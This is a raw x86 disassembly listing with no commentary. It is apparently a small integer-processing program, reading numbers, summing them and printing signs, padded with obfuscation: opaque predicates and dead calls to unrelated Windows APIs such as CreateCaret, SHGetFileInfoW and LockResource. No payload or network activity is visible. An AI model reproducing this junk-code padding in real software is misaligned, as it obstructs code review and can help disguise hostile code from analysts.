mov dword [ebp - 0x20], eax
mov dword [ebp - 0x2c], 0x25b9b55b
mov dword [ebp - 0x20], 0x158f
cmp dword [ebp - 0x20], 0x10f2
jge 0x1002b767
lea eax, [ebp - 0x80]
push eax
push 0x100080bc
call fcn.1004cd7b
mov eax, dword [ebp - 0x80]
pop ecx
pop ecx
test eax, eax
je 0x1002b763
dec eax
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x12c]
push eax
push 0x10008144
call fcn.1004cd7b
mov eax, dword [ebp - 0x12c]
add esp, 0xc
mov ecx, ebx
mov edx, ebx
mov dword [ebp - 0x18], ecx
mov edi, 0xb2
mov dword [ebp - 0x38], edx
mov esi, ebx
test eax, eax
jle 0x1002b730
mov ecx, dword [ebp - 0x110]
test ecx, ecx
jle 0x1002b722
lea eax, [ebp - 0x114]
push eax
push 0x100080bc
call fcn.1004cd7b
pop ecx
pop ecx
mov ecx, dword [ebp - 0x114]
test ecx, ecx
jns 0x1002b702
neg ecx
inc esi
mov dword [ebp - 0x114], ecx
cmp edi, ecx
mov eax, ecx
cmovl eax, edi
add dword [ebp - 0x18], ecx
mov ecx, dword [ebp - 0x110]
inc ebx
mov edi, eax
cmp ebx, ecx
jl 0x1002b6dc
mov eax, dword [ebp - 0x12c]
mov edx, dword [ebp - 0x38]
inc edx
mov dword [ebp - 0x38], edx
push 0
pop ebx
cmp edx, eax
jl 0x1002b6d8
mov ecx, dword [ebp - 0x18]
and esi, 0x80000001
jns 0x1002b73d
dec esi
or esi, 0xfffffffe
inc esi
imul esi, edi
neg esi
lea eax, [ecx + esi*2]
push eax
push 0x100080d8
call fcn.1004d1c8
mov eax, dword [ebp - 0x80]
pop ecx
pop ecx
test eax, eax
jne 0x1002b698
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
dec eax
mov dword [ebp - 0x80], eax
xor edx, edx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
inc edx
jmp 0x1002b783
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xcc], 0x7689351f
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x1002b772
mov dword [ebp - 0x2c], 0x18
cmp dword [ebp - 0x2c], 0xffffffe6
push 0x11
pop esi
jge 0x1002b8db
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], ebx
jl 0x1002b7c1
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x1002b7b9
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
dec dword [ebp - 0x28]
jns 0x1002b7a7
xor edx, edx
inc edx
mov dword [ebp - 0x28], esi
jmp 0x1002b8c2
push 4
pop eax
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x4e4]
or eax, 0xffffffff
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x38], 0x9a5a165f
push edx
call fcn.100248e9
xor esi, esi
mov dword [ebp - 0x1c], ebx
inc esi
jmp 0x1002b803
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x4e4]
mov dword [eax + ecx*4], 0x3d2afddf
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002b7f0
cmp dword [ebp - 0x18], ebx
je 0x1002b874
mov eax, dword [ebp - 0xcc]
mov edx, dword [ebp - 0x18]
neg eax
sbb eax, eax
xor ecx, ecx
neg eax
imul edx, eax
mov eax, dword [ebp - 0x28]
cmp edx, eax
setne cl
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x18]
jg 0x1002b83e
mov eax, ebx
cmp dword [ebp - 0xcc], ebx
je 0x1002b840
mov eax, esi
add eax, 0xfffffffb
cmp eax, 0x86ca
jne 0x1002b851
mov edx, esi
cmp dword [ebp - 0x40], ebx
jne 0x1002b853
mov edx, ebx
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x4e4]
sete cl
cmp dword [ebp - 0x40], 0xfd09
mov dword [eax], ecx
jle 0x1002b874
mov eax, dword [ebp - 0xcc]
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
neg edx
cmp edx, eax
setle cl
sub ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
neg eax
sbb eax, eax
inc eax
cmp eax, ecx
jg 0x1002b89f
mov edx, esi
cmp dword [ebp - 0x28], ebx
jne 0x1002b8a1
mov edx, ebx
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp eax, edx
setl cl
mov dword [ebp - 0x20], ecx
lea ecx, [ebp - 0x4e4]
call fcn.10024a9b
dec dword [ebp - 0x28]
push 0x11
pop esi
push 1
pop edx
cmp dword [ebp - 0x28], esi
jge 0x1002b7c9
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xffffffe6
push 1
pop edx
jl 0x1002b79c
mov dword [ebp - 0x2c], 0x25b9b55b
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
jmp 0x1002b8fb
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xb4], 0x7689351f
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x1002b8ea
mov dword [ebp - 0x2c], 0x18
cmp dword [ebp - 0x2c], 0xffffffe6
jge 0x1002ba50
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], ebx
jl 0x1002b936
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x1002b92e
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
dec dword [ebp - 0x28]
jns 0x1002b91c
xor edx, edx
inc edx
mov dword [ebp - 0x28], esi
jmp 0x1002ba37
push 4
pop eax
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x4fc]
or eax, 0xffffffff
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x38], 0x9a5a165f
push edx
call fcn.100248e9
xor esi, esi
mov dword [ebp - 0x1c], ebx
inc esi
jmp 0x1002b978
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x4fc]
mov dword [eax + ecx*4], 0x3d2afddf
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002b965
cmp dword [ebp - 0x18], ebx
je 0x1002b9e9
mov eax, dword [ebp - 0xb4]
mov edx, dword [ebp - 0x18]
neg eax
sbb eax, eax
xor ecx, ecx
neg eax
imul edx, eax
mov eax, dword [ebp - 0x28]
cmp edx, eax
setne cl
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x18]
jg 0x1002b9b3
mov eax, ebx
cmp dword [ebp - 0xb4], ebx
je 0x1002b9b5
mov eax, esi
add eax, 0xfffffffb
cmp eax, 0x86ca
jne 0x1002b9c6
mov edx, esi
cmp dword [ebp - 0x40], ebx
jne 0x1002b9c8
mov edx, ebx
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x4fc]
sete cl
cmp dword [ebp - 0x40], 0xfd09
mov dword [eax], ecx
jle 0x1002b9e9
mov eax, dword [ebp - 0xb4]
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
neg edx
cmp edx, eax
setle cl
sub ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
neg eax
sbb eax, eax
inc eax
cmp eax, ecx
jg 0x1002ba14
mov edx, esi
cmp dword [ebp - 0x28], ebx
jne 0x1002ba16
mov edx, ebx
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp eax, edx
setl cl
mov dword [ebp - 0x20], ecx
lea ecx, [ebp - 0x4fc]
call fcn.10024a9b
dec dword [ebp - 0x28]
push 0x11
pop esi
push 1
pop edx
cmp dword [ebp - 0x28], esi
jge 0x1002b93e
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xffffffe6
push 1
pop edx
jl 0x1002b911
push 5
pop eax
mov esi, 0xec2e0cf5
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x38], eax
push 0xfffffffffffffffc
mov dword [ebp - 0x20], ebx
mov ebx, dword [sym.imp.USER32.dll_CreateCaret]
pop ecx
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x24], 0xa
jge 0x1002bb5f
xor ecx, ecx
mov dword [ebp - 0x14], 0x8cb4c23a
mov dword [ebp - 0x1c], ecx
jmp 0x1002ba96
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xf4], 0xbb11accb
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1002ba85
mov dword [ebp - 0x14], ecx
jmp 0x1002bb44
mov dword [ebp - 0x34], 0x80d416db
mov dword [ebp - 0x34], edx
cmp dword [ebp - 0x34], ecx
jl 0x1002bb28
mov byte [ebp - 0xd], cl
cmp byte [ebp - 0xd], 0
je 0x1002bacf
push 0xa24
push 0x2359
push ecx
call edi
push eax
call ebx
xor edx, edx
inc edx
mov eax, dword [ebp - 0x14]
xor ecx, ecx
push 0
mov eax, dword [ebp + eax*4 - 0xf4]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0xf4]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0xf4]
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp + eax*4 - 0xf4]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0xf4]
cmp edx, eax
setge cl
mov dword [ebp - 0x20], ecx
dec dword [ebp - 0x34]
pop ecx
push 1
pop edx
jns 0x1002bab3
mov dword [ebp - 0x34], ecx
jmp 0x1002bb3c
mov eax, dword [ebp - 0x34]
cmp dword [ebp + eax*4 - 0xf4], ecx
jne 0x1002bb41
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], edx
jle 0x1002bb2d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jle 0x1002baa4
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xa
jl 0x1002ba79
push 5
pop eax
jmp 0x1002bb61
xor ecx, ecx
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x38], eax
push 0xfffffffffffffffc
pop eax
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x24], eax
jmp 0x1002bc4c
mov dword [ebp - 0x14], 0x8cb4c23a
mov dword [ebp - 0x1c], ecx
jmp 0x1002bb92
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x104], 0xbb11accb
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1002bb81
mov dword [ebp - 0x14], ecx
jmp 0x1002bc40
mov dword [ebp - 0x34], 0x80d416db
mov dword [ebp - 0x34], edx
cmp dword [ebp - 0x34], ecx
jl 0x1002bc24
mov byte [ebp - 0xd], cl
cmp byte [ebp - 0xd], 0
je 0x1002bbcb
push 0xa24
push 0x2359
push ecx
call edi
push eax
call ebx
xor edx, edx
inc edx
mov eax, dword [ebp - 0x14]
xor ecx, ecx
push 0
mov eax, dword [ebp + eax*4 - 0x104]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x104]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x104]
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp + eax*4 - 0x104]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x104]
cmp edx, eax
setge cl
mov dword [ebp - 0x20], ecx
dec dword [ebp - 0x34]
pop ecx
push 1
pop edx
jns 0x1002bbaf
mov dword [ebp - 0x34], ecx
jmp 0x1002bc38
mov eax, dword [ebp - 0x34]
cmp dword [ebp + eax*4 - 0x104], ecx
jne 0x1002bc3d
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], edx
jle 0x1002bc29
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jle 0x1002bba0
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xa
jl 0x1002bb75
mov dword [ebp - 0x2c], edx
xor ebx, ebx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], ebx
jmp 0x1002bc74
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x734], 0xec0ae971
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1002bc63
mov dword [ebp - 0x2c], ebx
jmp 0x1002bc99
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp + eax*4 - 0x734]
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x734], ecx
mov eax, dword [ebp - 0x20]
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 2
jle 0x1002bc7f
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], bl
je 0x1002bcb6
push ebx
push 0x442
call edi
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextW]
movdqa xmm0, xmmword [0x100087a0]
lea ecx, [ebp - 0x744]
push ecx
lea eax, [ebp - 0x734]
mov dword [ebp - 0x24], 0x25b9b55b
push eax
push ecx
mov dword [ebp - 0x34], 0x76820624
lea ecx, [ebp - 0x370]
movdqu xmmword [ebp - 0x744], xmm0
call fcn.1002499c
push 4
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x34], 0x15
cmp dword [ebp - 0x34], 0x13
je 0x1002be30
xor esi, esi
inc esi
push 2
lea ecx, [ebp - 0x298]
call fcn.100248e9
push 5
pop eax
mov byte [ebp - 4], al
mov dword [ebp - 0x20], 0xd9796a0b
mov dword [ebp - 0x14], ebx
jmp 0x1002bd35
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x68], 0xa2961c0f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002bd27
mov dword [ebp - 0x14], ebx
jmp 0x1002bd4e
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x298]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002bd3f
mov dword [ebp - 0x68], ebx
cmp dword [ebp - 0x68], 3
jg 0x1002be12
mov edi, dword [ebp - 0x370]
push 2
lea ecx, [ebp - 0x55c]
call fcn.100248e9
mov dword [ebp - 0x1c], ebx
jmp 0x1002bd88
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x55c]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1002bd79
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x298]
cmp dword [eax], esi
jne 0x1002bd9e
mov eax, dword [ebp - 0x68]
mov edx, dword [ebp - 0x55c]
mov ecx, dword [ebp - 0x68]
mov eax, dword [edi + 8]
push 0xfffffffffffffffc
mov dword [edx + 4], eax
mov eax, dword [ebp - 0x370]
pop esi
cmp esi, dword [eax + ecx*4]
sbb esi, esi
xor eax, eax
inc esi
cmp dword [edx + 4], ebx
sete al
xor ecx, ecx
cmp eax, 0x4dde9a
setl cl
sub ecx, 0xffff
neg ecx
sbb ecx, ecx
inc ecx
imul esi, ecx
cmp esi, 0xfffffffb
ja 0x1002bdf2
mov eax, dword [ebp - 0x298]
cmp dword [eax], ebx
je 0x1002bdf2
xor esi, esi
inc esi
mov eax, esi
jmp 0x1002bdf7
xor esi, esi
mov eax, ebx
inc esi
mov dword [ebp - 0x20], eax
lea ecx, [ebp - 0x55c]
call fcn.10024a9b
inc dword [ebp - 0x68]
cmp dword [ebp - 0x68], 3
jle 0x1002bd67
push 4
pop eax
lea ecx, [ebp - 0x298]
mov byte [ebp - 4], al
call fcn.10024a9b
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0x13
jne 0x1002bd08
push 3
pop edi
mov dword [ebp - 0x34], edi
cmp dword [ebp - 0x34], ebx
jl 0x1002be56
mov dword [ebp - 0x20], 0xc512dc6d
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x370]
mov eax, dword [eax + ecx*4]
mov dword [ebp - 0x20], eax
dec dword [ebp - 0x34]
jns 0x1002be3b
or esi, 0xffffffff
lea ecx, [ebp - 0x370]
mov dword [ebp - 4], esi
call fcn.10024a9b
mov dword [ebp - 0x20], ebx
xor ecx, ecx
mov dword [ebp - 0x18], esi
inc ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x44], 0xfffffff7
mov dword [ebp - 0x14], ebx
jmp 0x1002be90
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x8a0], 0xfffffffa
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002be7f
mov dword [ebp - 0x14], ebx
jmp 0x1002bea7
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xc8], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002be9a
mov dword [ebp - 0x18], 2
cmp dword [ebp - 0x18], ebx
jl 0x1002c004
push 4
mov dword [ebp - 0x1c], ebx
pop ecx
jmp 0x1002bed1
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x8e8], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1002bec4
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0x44], eax
mov byte [ebp - 0xd], bl
mov dword [ebp - 0x44], 0x1bb2
cmp dword [ebp - 0x44], 0xcfc
jge 0x1002bfde
lea eax, [ebp - 0x184]
push eax
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0xc0]
push eax
push 0x100080cc
call fcn.1004cd7b
add esp, 0x10
lea ecx, [ebp - 0x574]
push dword [ebp - 0xc0]
call fcn.100248e9
cmp dword [ebp - 0xc0], 0
mov edi, ebx
mov ebx, dword [ebp - 0x574]
jle 0x1002bfc0
push 4
mov esi, ebx
pop ebx
push esi
push 0x100080bc
call fcn.1004cd7b
inc edi
add esi, ebx
pop ecx
pop ecx
cmp edi, dword [ebp - 0xc0]
jl 0x1002bf4e
mov ebx, dword [ebp - 0x574]
jmp 0x1002bfc0
dec eax
mov dword [ebp - 0x84], eax
lea eax, [ebp - 0x1a4]
push eax
lea eax, [ebp - 0x194]
push eax
push 0x10008144
call fcn.1004cd7b
mov ecx, dword [ebp - 0x194]
add esp, 0xc
mov eax, dword [ebp - 0x1a4]
mov edx, ecx
sub edx, eax
add edx, edx
sub edx, dword [ebx + ecx*4 - 4]
add edx, dword [ebx + eax*4 - 4]
mov eax, dword [ebp - 0x184]
dec eax
add eax, edx
push eax
push 0x100080d8
call fcn.1004d1c8
pop ecx
pop ecx
mov eax, dword [ebp - 0x84]
test eax, eax
jne 0x1002bf6e
dec eax
lea ecx, [ebp - 0x574]
mov dword [ebp - 0x84], eax
call fcn.10024a9b
xor ebx, ebx
cmp byte [ebp - 0xd], 0
je 0x1002bffb
push 0x17ec
push 0x2495
push ebx
push 0x1031
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
dec dword [ebp - 0x18]
jns 0x1002bebc
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x1002c021
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RealizePalette]
xor ecx, ecx
mov dword [ebp - 0x1c], ebx
inc ecx
jmp 0x1002c03a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xb0], 0x7689351f
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1002c029
movdqa xmm0, xmmword [0x100087c0]
lea eax, [ebp - 0x794]
mov dword [ebp - 0x2c], 0xe8cff0ea
mov dword [ebp - 0x1c], 0x1ac48889
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x20], ecx
lea ecx, [ebp - 0x7a4]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x7c0]
movdqu xmmword [ebp - 0x7a4], xmm0
call fcn.1002499c
mov dword [ebp - 4], 6
mov dword [ebp - 0x20], 0x145c
cmp dword [ebp - 0x20], 0x1219
jge 0x1002c18d
lea eax, [ebp - 0x5c]
push eax
push 0x100080bc
call fcn.1004cd7b
pop ecx
pop ecx
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x520]
call fcn.100248e9
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x700]
push dword [ebp - 0x5c]
call fcn.10036d65
mov eax, dword [ebp - 0x5c]
mov edi, ebx
mov ebx, dword [ebp - 0x520]
test eax, eax
jle 0x1002c0f9
push 4
mov esi, ebx
pop ebx
push esi
push 0x100080bc
call fcn.1004cd7b
mov eax, dword [ebp - 0x5c]
inc edi
pop ecx
add esi, ebx
pop ecx
cmp edi, eax
jl 0x1002c0dc
mov ebx, dword [ebp - 0x520]
mov esi, dword [ebp - 0x700]
lea ecx, [eax - 1]
xor edx, edx
test ecx, ecx
js 0x1002c14f
test edx, edx
jle 0x1002c115
sub edx, dword [ebx + ecx*4]
mov byte [ecx + esi], 0x2d
jmp 0x1002c11c
add edx, dword [ebx + ecx*4]
mov byte [ecx + esi], 0x2b
dec ecx
jns 0x1002c108
mov eax, dword [ebp - 0x5c]
xor ebx, ebx
test edx, edx
jns 0x1002c151
mov ecx, ebx
test eax, eax
jle 0x1002c151
mov dl, byte [ecx + esi]
cmp dl, 0x2b
jne 0x1002c13c
mov byte [ecx + esi], 0x2d
jmp 0x1002c145
cmp dl, 0x2d
jne 0x1002c148
mov byte [ecx + esi], 0x2b
mov eax, dword [ebp - 0x5c]
inc ecx
cmp ecx, eax
jl 0x1002c12e
jmp 0x1002c151
xor ebx, ebx
mov edi, ebx
test eax, eax
jle 0x1002c168
movsx eax, byte [edi + esi]
push eax
call fcn.1004dbca
inc edi
pop ecx
cmp edi, dword [ebp - 0x5c]
jl 0x1002c157
push 0x10008025
call fcn.1004d431
pop ecx
lea ecx, [ebp - 0x700]
call fcn.10024a9b
lea ecx, [ebp - 0x520]
mov byte [ebp - 4], 6
call fcn.10024a9b
mov dword [ebp - 0x2c], 0xffffffef
or edi, 0xffffffff
cmp dword [ebp - 0x2c], 0xfffffff6
jl 0x1002c283
mov dword [ebp - 0x24], 0xb108f825
xor ecx, ecx
mov dword [ebp - 0x20], 0xfffffffb
inc ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x20], edi
push 5
pop eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x20], 0x6cd83398
mov dword [ebp - 0x20], 0x48407374
mov dword [ebp - 0x20], 0xda8db884
mov dword [ebp - 0x20], 0x7fc0
mov dword [ebp - 0x1c], ebx
jmp 0x1002c1f3
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x6f0], 0x1636717b
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1002c1e2
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x1002c208
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
push 0xfffffffffffffffc
pop eax
mov dword [ebp - 0x24], eax
jmp 0x1002c275
mov dword [ebp - 0x20], 0xbbef
lea ecx, [ebp - 0x710]
mov dword [ebp - 0x20], 0x1f1eb32a
mov dword [ebp - 0x20], 9
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x20], 0x874b28e
push 2
call fcn.100248e9
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x38], 0x7d77fc7d
mov dword [ebp - 0x1c], ebx
jmp 0x1002c25e
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x710]
mov dword [eax + ecx*4], 6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1002c24b
dec dword [ebp - 0x38]
lea ecx, [ebp - 0x710]
call fcn.10024a9b
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 7
je 0x1002c210
inc dword [ebp - 0x2c]
jmp 0x1002c197
mov dword [ebp - 0x1c], ebx
jmp 0x1002c29f
mov dword [ebp - 0x20], 0xfffffff8
mov dword [ebp - 0x44], 0x3c12d493
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x44], eax
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffee
jg 0x1002c288
lea ecx, [ebp - 0x7c0]
mov dword [ebp - 4], edi
call fcn.10024a9b
mov dword [ebp - 0x24], 0x18
cmp dword [ebp - 0x24], 0xffffffe6
jge 0x1002cc10
xor esi, esi
inc esi
push esi
lea ecx, [ebp - 0x310]
call fcn.100248e9
mov dword [ebp - 0x18], 0xcc89
xor edx, edx
mov dword [ebp - 0x20], 0xcb6a
inc edx
mov dword [ebp - 0x38], 0xcb6d64bd
mov dword [ebp - 0x38], 0x8a6ebbfa
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x1c], ebx
jmp 0x1002c30d
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x310]
mov dword [eax + ecx*4], 0xfffffff6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x1002c2fa
cmp dword [ebp - 0x18], ebx
jne 0x1002c339
mov eax, dword [ebp - 0x310]
cmp dword [eax], ebx
jne 0x1002c328
mov eax, ebx
cmp dword [ebp - 0x20], edx
jl 0x1002c32a
mov eax, edx
cmp edx, eax
mov ecx, ebx
sbb eax, eax
neg eax
cmp eax, 0x4c55
jl 0x1002c33b
mov ecx, edx
mov eax, dword [ebp - 0x18]
sub ecx, eax
xor eax, eax
cmp ecx, 0x5f40e13f
setg al
xor ecx, ecx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
sbb edx, edx
neg edx
cmp edx, eax
mov eax, dword [ebp - 0x310]
setne cl
xor edx, edx
mov dword [ebp - 0x38], ecx
mov esi, dword [eax]
mov eax, esi
mov ecx, dword [ebp - 0x38]
neg eax
cmp eax, ecx
lea ecx, [ebp - 0x310]
setge dl
xor eax, eax
cmp edx, edi
setl al
cmp eax, 0xae9f9034
sbb eax, eax
inc eax
sub eax, esi
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x44], eax
call fcn.10024a9b
mov dword [ebp - 0x34], ebx
xor ecx, ecx
mov dword [ebp - 0x14], 0xfffffffd
inc ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x2c], 0x4549c4b
mov dword [ebp - 0x38], 6
mov dword [ebp - 0x1c], ebx
jmp 0x1002c3cf
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x4c], 0x7ce53d8d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1002c3c1
mov eax, dword [ebp - 0x14]
xor ebx, ebx
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
add ecx, 0x50fa
cmp ecx, eax
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x2c]
setg bl
xor edx, edx
cmp ebx, eax
mov eax, dword [ebp - 0x14]
setl dl
imul ecx, edx
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x4c]
setne dl
xor ecx, ecx
cmp edx, eax
setle cl
xor eax, eax
cmp ecx, edi
setne al
cmp eax, dword [ebp - 0x4c]
jl 0x1002c426
mov eax, dword [ebp - 0x14]
dec dword [ebp - 0x18]
xor esi, esi
mov eax, dword [ebp - 0x18]
inc esi
mov eax, dword [ebp - 0x14]
xor ebx, ebx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x34], ebx
cmp dword [ebp - 0x34], ebx
jl 0x1002c6ee
push esi
lea ecx, [ebp - 0x358]
call fcn.100248e9
mov dword [ebp - 0x1c], 0x8e56f9b2
mov dword [ebp - 0x38], 0x53494abc
mov dword [ebp - 0x18], 0xa2b8ea2c
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x20], 9
mov dword [ebp - 0x1c], ebx
jmp 0x1002c4aa
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x358]
mov dword [eax + ecx*4], 0xdde0bcd8
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002c497
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], ebx
jg 0x1002c56e
push 0x11
pop eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], eax
